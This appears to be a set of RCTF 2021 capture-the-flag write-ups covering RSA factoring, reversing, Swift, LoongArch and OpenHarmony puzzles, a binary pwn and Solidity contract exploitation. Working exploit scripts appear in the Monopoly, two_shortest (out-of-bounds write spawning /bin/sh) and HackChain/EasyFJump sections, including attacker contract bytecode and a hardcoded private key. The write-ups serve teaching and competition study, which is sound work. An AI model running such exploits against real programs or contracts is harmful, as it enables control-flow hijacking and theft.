notice
so have two ways to get p,q
first way
We know that this encrypt way is periodicity
because the m is tiny, and p,q is certain, so you can recover the image by encrypting it over and over again
the code comes from a write up ,thanks a lot
second way
just to upload a one pic image with size 600×600
and you can get q,p by solving linear equations in two variables
at last
Thanks for Merricx’s great article again.
Hope you will participate in RCTF next year and have fun again!
Monopoly
This is a monopoly game, there are four types of Property : GO, LAND, FREE_PARKING and CHANCE. The map has 64 properties. The player’s initial property is 600000.
The way to get flag is to win in hard mode. By reversing the binary, you will find that the hard mode does not reset the map and the player’s position, and you can specify the seed of the srand function, which means you can control the generation of subsequent random numbers. You just need to double your money in Property which type is chance multiple times to win the game.
here is exp:
from pwn import *
#p = process("monopoly")
p = remote("xx.xx.xx.xx",20031)
chance_idx = [3,22,40,51]
name = "ruan"
def throw_dice(seed):
p.recvuntil("input your choice>>")
p.sendline("4")
p.recvuntil("input your choice>>")
p.sendline("3")
p.recvuntil("seed>>")
p.sendline(str(seed))
p.recvuntil("what's your name?")
p.sendline(name)
# chose hard level
p.recvuntil("input your choice>>")
p.sendline("3")
p.recvuntil("seed>>")
p.sendline("7655")
p.recvuntil("%s throw " % name)
p.recvuntil("%s throw " % name)
p.recvuntil("now location: ")
location = int(p.recvuntil(",",drop=True))
info("location : " + str(location))
throw_dice(6400)
throw_dice(0)
throw_dice(10006)
throw_dice(54)
throw_dice(7679)
p.interactive()
Crypto
These two challenges are rather similar. Both are given some RSA Ns which share a common factor p within an error term.
If these ps are exactly the same, one can simply use gcd to factor N and thus get flag, which we usually called common factor attack.
However these factors are different in a few bits, so we need to find another way to attack.
Uncommon Factors I
Notice that the size (2^22) is about the sqrt of count all possible primes in that range (2^48) according to prime number theorem. We can safely assume that there exists two Ns which share a common factor.
So we only need to calculate gcd of all possible pairs in order to find the number. However, the trivial algorithm is going to take 2^48 times gcd for the attack, which is not acceptable. Here we need to use a trick called gcd tree to calc all gcd pairs in O(k) instead of O(k^2). (See Usenix security 2012, Mining Your Ps and Qs)
# lN is the list of N
threads = 1
def g(i):
locallN = lN[i*len(lN)//threads: (i+1)*len(lN)//threads]
assert len(locallN) == size//threads
tree = [locallN]
level = 0
while len(tree[-1]) != 1:
if i == 0:
print(level)
level += 1
merge = [0]*(len(tree[-1])//2)
for j in range(len(tree[-1])//2):
merge[j] = tree[-1][2*j] * tree[-1][2*j+1]
tree.append(merge)
return tree
# Calc multiply tree
multree = g(0)
threads = 64
level = 0
while len(multree[-1-level]) < threads:
level += 1
def gcdd(i):
level = 0
while len(multree[-1-level]) < threads:
level += 1
ans = multree[-1][0]
gcdtree = [[ans % (multree[-1-level][i]**2)]]
while len(gcdtree[-1]) != size//threads:
if i == 0:
print(level)
level += 1
expand = [0]*(len(gcdtree[-1])*2)
localmultree = multree[-1-level]
localmultree = localmultree[i*len(localmultree)//threads:(i+1)*len(localmultree)//threads]
for j in range(len(expand)):
expand[j] = gcdtree[-1][j//2] % (localmultree[j]**2)
gcdtree.append(expand)
for j in range(len(gcdtree[-1])):
r = gcdtree[-1][j]
Nj = lN[i*len(lN)//threads + j]
if gcd(r/Nj, Nj) != 1:
print(gcd(r/Nj, Nj))
# Calc gcd tree using multree
pool = Pool(processes=threads)
result = pool.map(gcdd,range(threads))
pool.close()
pool.join()
Uncommon Factors II
This time the case is much smaller, and we can call this problem as “Factor RSA with Implicit Hint”. There are many ways to solve it using LLL. And here is the code:
lN = []
with open("lN.bin","rb") as f:
n = f.read(512//8)
while n:
lN.append(int.from_bytes(n,"big"))
n = f.read(512//8)
size = 128
bits = 104
M = Matrix(ZZ, size,size)
for i in range(1,size):
M[i,i] = -lN[0]
M[0,i] = lN[i]
M[0,0] = 2^bits
L=M.LLL()
factor = 0
for i in range(size):
if gcd(L[i][0], lN[0]) != 1 and gcd(L[i][0], lN[0]) != lN[0]:
factor = gcd(L[i][0], lN[0])
Recv
dht
Each byte of result only depends on 3 chars in the flag so it’s possible to brute-force. But the order depends on the execution time of each thread, so you should sort your triplets by searching and pruning, with the hash of flag provided for verification. The solve script is below:
from hashlib import blake2b
from itertools import product
#import tqdm
tab = list(map(ord,'0123456789abcdef'))
def once(ch0,ch1,ch2):
cur = [0]*64
for i in range(tab.index(ch1)+1):
for j in range(32,64):
cur[j] = ch2
for j in range(10000):
cur = list(blake2b(bytes(cur)).digest())
for j in range(tab.index(ch0)+1):
cur = list(blake2b(bytes(cur)).digest())
return cur[0]
'''
m = []
for i in range(256):
m.append([])
for ch0,ch1,ch2 in tqdm.tqdm(product(tab, repeat=3)):
res = once(ch0,ch1,ch2)
m[res].append((ch0,ch1,ch2))
with open('mm','w') as f:
f.write(repr(m))
exit()
'''
import ast
with open('mm') as f:
m = ast.literal_eval(f.read())
'''
tt = []
tar = 'c64459bb76582a53'
#aa = []
for i in range(len(tar)):
i1 = (i+1)%len(tar)
i2 = (i+2)%len(tar)
cnt = (tab.index(ord(tar[i1]))+1)*100000+tab.index(ord(tar[i]))+1
tt.append((cnt,once(ord(tar[i]),ord(tar[i1]), ord(tar[i2]))))
#aa.append((ord(tar[i]),ord(tar[i1]),ord(tar[i2])))
tt.sort(key=lambda x:x[0])
print(tt)
#print(aa)
'''
h = bytes.fromhex('89ce250390150407e1c3e377cc227b6d971588ddc613d0bde59845b0ccacbb0691c86348a5005736aa07e60def9f843570216a004e8ed764488bb0aa7632d67c')
dh = [110, 96, 118, 141, 127, 149, 145, 110, 150, 146, 194, 207, 197, 197, 235, 25]
prob = [None]*16
def search(idx, cnt, lastinc):
if idx>=16:
#print(prob)
ans = []
ans.extend(prob[0])
used = [False]*16
used[0] = True
for i in range(15):
for j in range(16):
if not used[j] and ans[-2]==prob[j][0] and ans[-1]==prob[j][1]:
ans.append(prob[j][2])
used[j] = True
break
if len(ans)!=i+4:
break
if len(ans)==18 and ans[0]==ans[16] and ans[1]==ans[17]:
for i in range(16):
tmp = bytes(ans[i:16]+ans[:i])
if blake2b(tmp).digest() == h:
print('find',tmp)
exit()
return
for one in m[dh[idx]]:
if one[1] >= cnt:
prob[idx] = one[:]
if one[1] == cnt:
if idx-lastinc<4:
search(idx+1, one[1], lastinc)
else:
search(idx+1, one[1], idx)
search(0,0,0)
Harmony
0x1 出题意图
本体定位为基础的逆向题目,主要是为了熟悉Open HarmonyOS操作系统环境,熟悉基于OpenHarmony Hi3861V100开发板的RISC-V环境,熟悉IoT环境下常用的Musl-Libc环境
0x2 出题过程
2.1 编译系统固件
riscv32_virt/
子目录包含部分Qemu RISC-V虚拟化平台验证的OpenHarmony kernel_liteos_m的代码,目录名为riscv32_virt。 RISC-V 虚拟化平台是一个 qemu-system-riscv32
的目标设备,通过它来模拟一个通用的、基于RISC-V架构的单板
这次模拟的配置是:RISC-V架构,1个CPU,128M内存
提示: 系统内存硬编码为128MB
我们采用的是OpenHarmony OS的2.2.0 LTS版本,因为这个版本首先推出了支持QEMU模拟Hi3861V100的成熟方案,所以我先去研究了一下2.2.0 LTS版本如何编写Hi3861V100自己的程序
首先对于2.2.0 LTS版本Hi3861V100如果我们的固件是运行于QEMU中的话,主要的逻辑代码在
/device/qemu/riscv32_virt/test/test_demo.c
为了降低分析难度,我依然选择的是简单的凯撒加密,最后的源码如下
/*
* Copyright (c) 2013-2019 Huawei Technologies Co., Ltd. All rights reserved.
* Copyright (c) 2020-2021 Huawei Device Co., Ltd. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list
* of conditions and the following disclaimer in the documentation and/or other materials
* provided with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used
* to endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
* THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
* OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
* WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
* OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
* ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "los_task.h"
#include "los_debug.h"
static void TaskSampleEntry2(void)
{
while(1) {
printf("OpenHarmony OS LTS 2.2.0 Beta 2\n\r");
LOS_TaskDelay(1000);
}
}
static void TaskSampleEntry1(void)
{
while(1) {
printf("Welcome to RCTF 2021...\n\r");
printf("You Get a gift: HARMONYDREAMITPOSSIBLE\n\r");
printf("What is the result of encryption?\n\r");
char flag[] = "HARMONYDREAMITPOSSIBLE";
int k = 3;
char l[26]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
for(int i=0;i<22;i++) {
if((flag[i]+k)<='Z')
{flag[i] = flag[i] + k;}
else
{
int j = (flag[i]+k-'Z') % 26;
flag[i] = l[j-1];
}
}
//printf("The result of encryption: %s\n\r",flag);
LOS_TaskDelay(1000);
}
}
unsigned int LosAppInit(VOID)
{
unsigned int ret;
unsigned int taskID1, taskID2;
TSK_INIT_PARAM_S task1 = { 0 };
task1.pfnTaskEntry = (TSK_ENTRY_FUNC)TaskSampleEntry1;
task1.uwStackSize = 0x1000;
task1.pcName = "TaskSampleEntry1";
task1.usTaskPrio = 6;
ret = LOS_TaskCreate(&taskID1, &task1);
if (ret != LOS_OK) {
printf("Create Task failed! ERROR: 0x%x\n", ret);
return ret;
}
task1.pfnTaskEntry = (TSK_ENTRY_FUNC)TaskSampleEntry2;
task1.uwStackSize = 0x1000;
task1.pcName = "TaskSampleEntry2";
task1.usTaskPrio = 7;
ret = LOS_TaskCreate(&taskID2, &task1);
if (ret != LOS_OK) {
printf("Create Task failed! ERROR: 0x%x\n", ret);
}
return ret;
}
然后进行编译
$ cd device/qemu/riscv32_virt
$ hb build -f
这个命令构建会产生 liteos
的镜像文件。
在构建完成之后,对应的镜像文件在如下目录:
../../../out/riscv32_virt/bin/liteos
2.2 在Qemu中运行镜像
需要安装qemu-system-riscv32
运行的指令主要推介使用编译后自行生成的.qemu_run.sh
脚本
./qemu_run.sh ./liteos
2.3 GDB调试
需要在编译的时候
$ cd device/qemu/riscv32_virt
$ vim liteos_m/config.gni
将 board_opt_flags
中的
board_opt_flags = [ "-O2" ]
编译选项修改为:
board_opt_flags = [
"-g",
"-O0",
]
保存并退出,重新编译:
$ hb build -f
然后我们需要修改一下系统生成的.qemu_run.sh
脚本,主要添加开启GDB Server的选项
set -e
EXEFILE=$1
if [ "$EXEFILE" == "" ]; then
echo "Specify the path to the executable file"
echo "For example:"
echo "./qemu_sifive_run.sh out/OHOS_Image"
exit
fi
qemu-system-riscv32 -s -S \
-m 128M \
-bios none \
-machine virt \
-kernel $EXEFILE \
-nographic \
-append "root=/dev/vda or console=ttyS0"
在一个窗口中输入命令
./qemu_run.sh ./liteos
在另一个窗口中输入命令
$ riscv32-unknown-elf-gdb ./liteos
(gdb) target remote localhost:1234
(gdb) b main
提示: 采用gdb调试时,可执行文件必须选择 out/riscv32_virt/unstripped/bin
目录下的可执行文件
0x3 题面
中文:
你好呀,黑客们!你是否听说过在中国神话中的盘古开天辟地的神话?
英文:
Hello, hackers! Have you ever heard of pangu, the creator of the world in Chinese mythology?
0x4 题解
可以通过GDB调试,或者也可以通过IDA挂载RISC-V 32Bit的插件发现关键加密逻辑,不难发现关键加密逻辑即为简单的凯撒加密,之前得到了明文:HARMONYDREAMITPOSSIBLE,不难得出密文:KDUPRQBGUHDPLWSRVVLEOH,故最后flag为:RCTF{KDUPRQBGUHDPLWSRVVLEOH}
0x5 参考文档
- open-harmony-emulator
- xctf高校挑战赛2020-华为harmonyos和hms专场WP(pwn部分)
- XCTF华为鸿蒙专场ARM Pwn1
- HarmonyOS获取源码及Ubuntu编译环境准备
- OpenHarmony 1.1.0 LTS 正式发布
- 鸿蒙系统的编译流程及分析v1.0
- linux环境下体验华为OpenHarmony 1.1.0 LTS
- KLEE 源码安装(Ubuntu 16.04 + LLVM 9)
- 构建系统GN的初次使用
- OpenHarmony 各版本源码地址
- Docker编译环境
- 运行Hello OHOS(编译、烧录)
- HarmonyOS QEMU
Valgrind
0x1 出题意图
本赛题主要是向选手介绍一种不同于常用的LLVM IR的中间语言。VEX-IR是一套中间语言。使用它的是 Valgrind 插桩框架工具,它的设计思想类似LLVM与QEMU,为了模拟执行已经编译好的某种架构的程序,把目标代码转化为IR中间语言,再把 IR 翻译为本机架构可执行的机器语言,实现跨架构模拟执行,多用于没有源码的二进制程序分析。分析二进制程序,例如做类似插桩的工作时,失去了高级语言的抽象表达,不得不与更底层的部分打交道,即 CPU、寄存器、虚拟内存等
LLVM与QEMU其实本身并不是以安全分析为出发点的平台,只是因为他们过于完善和强大,所以有很多基于他们的改进工作来做程序安全分析。而 Valgrind 则是以安全为出发点开发的插桩框架,也相对成熟流行
私以为看过学习过LLVM框架中的IR语言语法,再看VEX的IR语言语法,其实可以触类旁通
0x2 出题过程
鉴于此题定位难度较低,于是选择了比较简单的凯撒密码,首先使用C语言编写的凯撒密码的加密程序,使用GCC编译
#include<stdio.h>
#include<string.h>
using namespace std;
int main() {
char flag[] = "t1me_y0u_enj0y_wa5t1ng_wa5_not_wa5ted";
int k = 3;
char l[26]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
for(int i=0;i<37;i++) {
if((flag[i]+k)<='Z')
{flag[i] = flag[i] + k;}
else
{
int j = (flag[i]+k-'Z') % 26;
flag[i] = l[j-1];
}
}
return 0;
}
然后对其进行编译,为了更好的方便Angr动态符号执行工具进行运行使用以下参数进行编译:
gcc -m32 -no-pie test.c -o test
然后我使用接下来的脚本就行VEX-IR的提取:
import angr
import monkeyhex
from angr import sim_options as so
def main():
#Run Initialization
p = angr.Project('./test',auto_load_libs=False)
extras = {so.REVERSE_MEMORY_NAME_MAP, so.TRACK_ACTION_HISTORY}
es = p.factory.entry_state(add_options=extras)
sm = p.factory.simulation_manager(es, save_unconstrained=True)
#Set Target Address
mainAddr = 0x8048464
EndAddr = 0x080485E8
#Run to mainAddr
sm.explore(find=mainAddr)
es = sm.found[0]
EndAddr = es.solver.BVV(EndAddr,32)
maybe = es.regs.eip == EndAddr
sm = p.factory.simulation_manager(es, save_unconstrained=True)
num = 0
while es.solver.is_false(maybe):
block = p.factory.block(es.solver.eval(es.regs.eip))
#print(block.pp())
print(block.vex)
sm.step()
sm.active
es = sm.active[0]
maybe = es.regs.eip == EndAddr
num = num + 1
'''
with open('log.txt', 'a') as f:
f.writelines(block.vex)'''
block = p.factory.block(es.solver.eval(es.regs.eip))
#print(block.pp())
print(block.vex)
'''
with open('log.txt', 'a') as f:
f.writelines(block.vex)
print("All Show!")
print(num)'''
main()
而后获得VEX-IR代码,往常我们使用Angr在CTF题目中都是比较初级的应用,通过出题和之前的研究我逐渐掌握了使用Angr对二进制程序就行逐步调试的能力,和Angr更多对于整个程序运行过程中对于寄存器和内存的细微操作。对于我之后使用Angr进行更高级的操作奠定了基础
0x3 题面
中文:
你好呀,来自世界各地的勇者们!我曾听说有一种技术叫做符号执行。我们抓获了一个加密程序在符号执行中的运行过程,你可以告诉我它的加密结果吗?
英文:
Hello, brave men from all over the world! I have heard that there is a technique called symbolic execution. We have captured the running process of an encryption program in symbolic execution. Can you tell me its encryption result?
0x4 WriteUP
通过分析可以知道这是VEX-IR中间代码,通过阅读VEX-IR中间代码可以获知这是一个凯撒密码的加密过程,且K为3,明文为:t1me_y0u_enj0y_wa5t1ng_wa5_not_wa5ted,将明文进行凯撒加密
最后可以获得flag:C4VNHH3DHNWS3HHFJ8C4WPHFJ8HWXCHFJ8CNM
0x4 参考资料
- Valgrind VEX IR
- VEX IR
- 程序安全分析平台初探:IR 与应用
- Angr源码阅读笔记02
- angr官方文档
- angr入门之CLE
- angr源码分析——cle.Loader类
- angr中的中间语言表示VEX
- LLVM IR入门指南
- Clang/LLVM 从入门到实践
- Valgrind官网
- angr中定义的VEX-IR
- angr中的pyvex文档
- angr的IR官方文档
- angr 系列教程(一)核心概念及模块解读
- angr 文档翻译(5):模拟管理器(Simulation Managers)
- AutoFindBug
LoongArch
最早的题目附件出错了一直没发现,导致各位师傅的做题体验很不好,这里先给各位师傅道个歉。
题目提示是loongarch,搜索loongarch,很容易知道loongarch指令集,到官网下载一份文档,照着文档就可以逆出代码逻辑。
其中syscall的作用是输出栈上的内容,即output里面的64字节。
exp
def qword2bit(a):
re = []
for i in range(64):
re.append(a%2)
a >>= 1
return re[::-1]
def bit2qword(a):
re = ""
for i in a:
re += str(i)
return int(re,2)
def bitrev_8b(a):
re = []
for i in range(0,64,8):
re += a[i:i+8][::-1]
return re
def bytepick_d(a,b,n):
return b[8*(n):64]+a[0:8*(n)]
def bitrev_d(a):
return a[::-1]
xor1 = [0x8205f3d105b3059d,0xa89aceb3093349f3,0xd53db5adbcabb984,0x39cea0bfd9d2c2d4]
xor2 = [0xc513455508290500,0x6d621abb30b918,0xbc555b9f4c6f86a1,0x50d78ad181a626d]
a = [i^0xffffffffffffffff for i in xor2]
b = [qword2bit(i) for i in a]
c = [bitrev_8b(i) for i in b]
d = [bytepick_d(c[2],c[1],5),
bytepick_d(c[0],c[2],5),
bytepick_d(c[3],c[0],5),
bytepick_d(c[1],c[3],5)]
e = [bitrev_d(i) for i in d]
f = [bit2qword(i) for i in e]
g = [f[i]^xor1[i] for i in range(4)]
for i in g:
for j in range(8):
print(chr(i&0xff),end='')
i >>= 8
print()
sakuretsu
- 根据字符串可以判断题目由swift编程语言编译,可以尝试本地用swift编译helloworld程序,与题目程序进行对比,可以大致分析出一些功能函数和库函数等。注意题目中的常量字符串被简单处理过,无法直接搜索到,需要调试获得或手工还原。
- 首先逆向main函数,发现程序初始化了某个类的多个实例,结合调试,可以发现程序的逻辑是一个水管puzzle,每个实例代表一个水管方格,程序的输入即为每个水管旋转的角度(0, 1, 2, 3对应逆时针0, 90, 180, 270度)
- 当输入的方案可以联通所有水管且没有冲突和死循环时,程序会对输入进行sha256,将结果中的奇数整数2后进行13进制转换,码表为”huimielongyin”,最后每个字节的编码结果用-连接,结果需等于
y-ni-ou-gl-nu-mn-ii-em-ii-ge-iu-y
- 由于直线型水管转90度和270度等价,0度和180度等价,因此求解puzzle后还需要爆破哈希编码的结果,得到唯一解3330103311331013023313123131201201323021202330110,输入程序提示通过,flag即为
RCTF{3330103311331013023313123131201201323021202330110}
The binary is compiled by swiftc, you can find some strings in the binary like re/re.swift
as clue.
To start with, you can use swiftc to compile a helloworld binary and compare it with the provided one to understanding the structure of a swift binary.
In the main function, we can see 49 calls in the format of sub_410B90(v0, &unk_25650A8)
, then sub_412170 is called and the arguments looks like a 7*7 matrix.
Each of these calls will create an object, and 4 binary bits will be set for them. For example, 1100 for object[0, 0] and 0010 for object[0, 1].
v5 = sub_447570(4LL, &unk_25650A8);
*v6 = 1;
v6[1] = 1;
v6[2] = 0;
v6[3] = 0;
v7 = sub_410B90(v5, &unk_25650A8);
qword_259F370 = sub_412170(0LL, 0LL, v7, 0LL);
v8 = sub_447570(4LL, &unk_25650A8);
*v9 = 0;
v9[1] = 0;
v9[2] = 1;
v9[3] = 0;
v10 = sub_410B90(v8, &unk_25650A8);
qword_259F378 = sub_412170(0LL, 1LL, v10, 0LL);
v11 = sub_447570(4LL, &unk_25650A8);
*v12 = 1;
v12[1] = 0;
v12[2] = 0;
v12[3] = 0;
v13 = sub_410B90(v11, &unk_25650A8);
qword_259F380 = sub_412170(0LL, 2LL, v13, 0LL);
v14 = sub_447570(4LL, &unk_25650A8);
*v15 = 0;
v15[1] = 1;
v15[2] = 1;
v15[3] = 1;
After that, argv[1] is checked that length is 49 and every char is in “0123”. Each char will also be associated with each of the 49 objects that created before.
Parsing this check, there is another check:
if ( (v776 & 1) != 0 ) // first check passed
{
sub_6F3A90(&qword_259F500, v754, 32LL, 0LL);
v544 = qword_259F500;
v543 = sub_6F4B80(qword_259F500);
sub_6F3D10(v754);
v218 = v544;
v542 = (*(__int64 (**)(void))(*(_QWORD *)v544 + 136LL))(); // second check
sub_6F4870();
v541 = v542;
}
else
{
v541 = 0;
}
if ( (v541 & 1) != 0 ) // second check passed
{
v540 = v589;
By debugging the program, (v544 + 136) finally calls sub_413150 to do some BFS from object[3, 3] and check if all of the objects are visited.
The 4 binary bits assigned before represents the connectivity of four directions, and our input (0/1/2/3) represents the rotation of each object(counter clockwise 0, 90, 180 and 270 degrees). So this is basically a puzzle named pipe. You can solve this puzzle manually as it’s not that hard (compared with reversing the binary :P):
The only problem is that the pipes with the shape of | or – will be identical after rotating 180 degrees.
So the binary will finally check the unique solution by sha256 the input string and the hash bytes whose value is odd will be filtered, divided by 2 and encoded into base13 (encoding table is “huimielongyin”).
The encoded result should be y-ni-ou-gl-nu-mn-ii-em-ii-ge-iu-y
(the string is obfuscated, but you can check the param of sub_404F30 to get each char).
You can enumerate all the possible solutions to match this hash result(or just repeat running the binary with solutions and ignore how the program checks the unique solution)
The flag is RCTF{3330103311331013023313123131201201323021202330110}
two_shortest
This binary is trying to solve SGU 185, but during reading input data you are supposed to give an index of a two-dimension array while there is no range check at all. No PIE for free pascal so we only need to find some global pointer for hook functions and useful gadgets(it becomes much easier with a fpSystem command inside src code). The solve script is below:
from pwn import *
context.log_level='debug'
c = process("./185")
#pause()
www = [(0x4e96c0, 0x6e69622f), (0x4e96c4, 0x68732f), (0x4e8b08, 0x4282f7)]
ww = []
for addr, val in www:
off = (addr-0x437800)//4
x = off//400+1
y = off%400+1
assert y>1
ww.append((x,y,val))
m = len(www)
c.sendline('0 {}'.format(0x4d3c00))
for i in range(m):
c.sendline("{} {} {}".format(*ww[i]))
c.interactive()
BlockChain
这里给师傅们道歉,因为题目链接放出的原因给师傅们带来了不好的体验
EasyFJump
Source
pragma solidity ^0.4.23;
contract EasyFJump {
uint private Variable_a;
uint private Variable_b;
uint private Variable_m;
uint private Variable_s;
event ForFlag(address addr);
struct Func {
function() internal f;
}
constructor() public payable {
Variable_s = 693784268739743906201;
}
function Set(uint tmp_a, uint tmp_b, uint tmp_m) public {
Variable_a = tmp_a;
Variable_b = tmp_b;
Variable_m = tmp_m;
}
function Output() private returns(uint) {
Variable_s = (Variable_s * Variable_a + Variable_b) % Variable_m;
return Variable_s;
}
function GetFlag() public payable {
require(Output() == 2344158256393068019755829);
require(Output() == 3260253069509692480800725);
require(Output() == 2504603638892536865405480);
require(Output() == 1887687973911110649647086);
Func memory func;
func.f = payforflag;
uint offset = (Variable_a - Variable_b - Variable_m) & 0xffff;
assembly {
mstore(func, sub(add(mload(func), callvalue), offset))
}
func.f();
}
function payforflag() public {
require(keccak256(abi.encode(msg.sender))==0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
emit ForFlag(msg.sender);
}
}
Analyse
- 简单的逆向,考点是LCG线性同余+Fuction任意跳转
- 具体代码参考上面源代码
- a b m 可由下述脚本求出
import binascii
import sha3
def gcd(a, b):
if a < b:
a, b = b, a
while b != 0:
temp = a % b
a = b
b = temp
return a
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, x, y = egcd(b % a, a)
return (g, y - (b // a) * x, x)
def modinv(b, n):
g, x, _ = egcd(b, n)
if g == 1:
return x % n
def crack_unknown_increment(states, modulus, multiplier):
increment = (states[1] - states[0]*multiplier) % modulus
return multiplier, increment, modulus
def crack_unknown_multiplier(states, modulus):
multiplier = (states[2] - states[1]) * modinv(states[1] - states[0], modulus) % modulus
return crack_unknown_increment(states, modulus, multiplier)
def crack_unknown_modulus(states):
diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
modulus = abs(reduce(gcd, zeroes))
return crack_unknown_multiplier(states, modulus)
a,b,m = crack_unknown_modulus([693784268739743906201, 2344158256393068019755829, 3260253069509692480800725, 2504603638892536865405480, 1887687973911110649647086])
print a,b,m
# 646720210675464912574453 35892019806987399999439 4057573962964310638058831
- (a-b-m)&0xffff=0x0ad7 需要满足0xd8+callvalue-0xad7=0x1ba
- 所以callvalue=3001 wei,调用GetFlag()即可
HackChain
Source
pragma solidity ^0.4.23;
contract HackChain {
constructor() public payable {}
bytes4 internal constant SET = bytes4(keccak256('getflag(uint256)'));
event ForFlag(address addr);
event Fail(address addr);
struct Func {
function() internal f;
}
function execute(address _target) public {
require(uint(_target) & 0xfff == address(this).balance);
require(_target.delegatecall(abi.encodeWithSelector(this.execute.selector)) == false);
bytes4 sel;
uint val;
(sel, val) = getRet();
require(sel == SET);
Func memory func;
func.f = payforflag;
assembly {
// 0x02e4+val-balance=0x03c6
mstore(func, sub(add(mload(func), val), balance(address)))
}
func.f();
}
function getRet() internal pure returns (bytes4 sel, uint val) {
assembly {
if iszero(eq(returndatasize, 0x24)) { revert(0, 0) }
let ptr := mload(0x40)
returndatacopy(ptr, 0, 0x24)
sel := and(mload(ptr), 0xffffffff00000000000000000000000000000000000000000000000000000000)
val := mload(add(0x04, ptr))
}
}
// 0x02E4
function payforflag() public {
require(keccak256(abi.encode(msg.sender))==0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
//0x03c6
if(address(this).balance>1000){
emit ForFlag(msg.sender);
}else{
emit Fail(msg.sender);
}
}
}
Analyse
- 简单的逆向,考点是delegatecall安全调用+func任意跳转
- 前提是需要hack chain,预先知道balance
- 具体代码参考上面源代码
Exp
- 发送下述json post请求,先获取balance
{
"jsonrpc": "2.0",
"method": "eth_blockNumber",
"methoD": "eth_getBalance",
"params": [
"0x16a73a352f807764db6a5e040b642f2963a19170",
"latest"
],
"id": 1
}
- 我的例子中balance=0x5ea
- 攻击合约地址需要满足address&0xfff==balance,所以address低12位为0x5ea,使用如下脚本调用generate_eoa2生成即可
from ethereum import utils
import os, sys
# generate EOA with appendix 5ea
def generate_eoa1():
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))
while not addr.lower().endswith("5ea"):
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))
print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))
# generate EOA with the ability to deploy contract with appendix 5ea
def generate_eoa2():
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))
while not utils.decode_addr(utils.mk_contract_address(addr, 0)).endswith("5ea"):
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))
print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))
if __name__ == "__main__":
if sys.argv[1] == "1":
generate_eoa1()
elif sys.argv[1] == "2":
generate_eoa2()
else:
print("Please enter valid argument")
- 0x02e4+val-balance=0x03E8,根据逻辑关系得到val = 0x03c6+0x5ea-0x2e4 = 0x6cc
- 将下述的private0和public0替换为上述得到的EOA账户,运行下述exp,主要过程为部署攻击合约,得到攻击合约地址target,然后调用execute(target)
from web3 import Web3, HTTPProvider
import time
w3 = Web3(Web3.HTTPProvider("http://127.0.0.1:8545"))
contract_address = "0x16a73a352f807764db6a5e040b642f2963A19170"
private0 = "afb7037dd17037f9a1426cd04d21a1cec5ef43f8723642abd629981472ae6c85"
public0 = "0xab813636aC44021d5653aC3A5F6367bA51992D6c"
def do_callme(public, private, _to, _data, _value):
txn = {
'chainId': 8888,
'from': Web3.toChecksumAddress(public),
'to': _to,
'gasPrice': w3.eth.gasPrice,
'gas': 3000000,
'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
'value': Web3.toWei(_value, 'ether'),
'data': _data,
}
signed_txn = w3.eth.account.signTransaction(txn, private)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
print("txn_hash=", txn_hash)
return txn_receipt
"""
contract hack {
bytes4 internal constant SEL = bytes4(keccak256('getflag(uint256)'));
function execute(address) public pure {
bytes4 sel = SEL;
assembly {
mstore(0,sel)
mstore(0x4,0x6cc)
revert(0,0x24)
}
}
}
"""
data0 = '608060405234801561001057600080fd5b5060fa8061001f6000396000f300608060405260043610603f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680634b64e492146044575b600080fd5b348015604f57600080fd5b506082600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506084565b005b600060405180807f676574666c61672875696e743235362900000000000000000000000000000000815250601001905060405180910390209050806000526106cc60045260246000fd00a165627a7a72305820a45eb958070353941dcb0c95d75404136be68e1d2b8e162ab8faa2410ec9a9c50029'
x = do_callme(public0, private0, '', data0, 0)
print(x)
time.sleep(1)
data1 = '0x4b64e492'+x['contractAddress'][2:].rjust(64,'0')
print(data1)
print(do_callme(public0, private0, contract_address, data1, 0))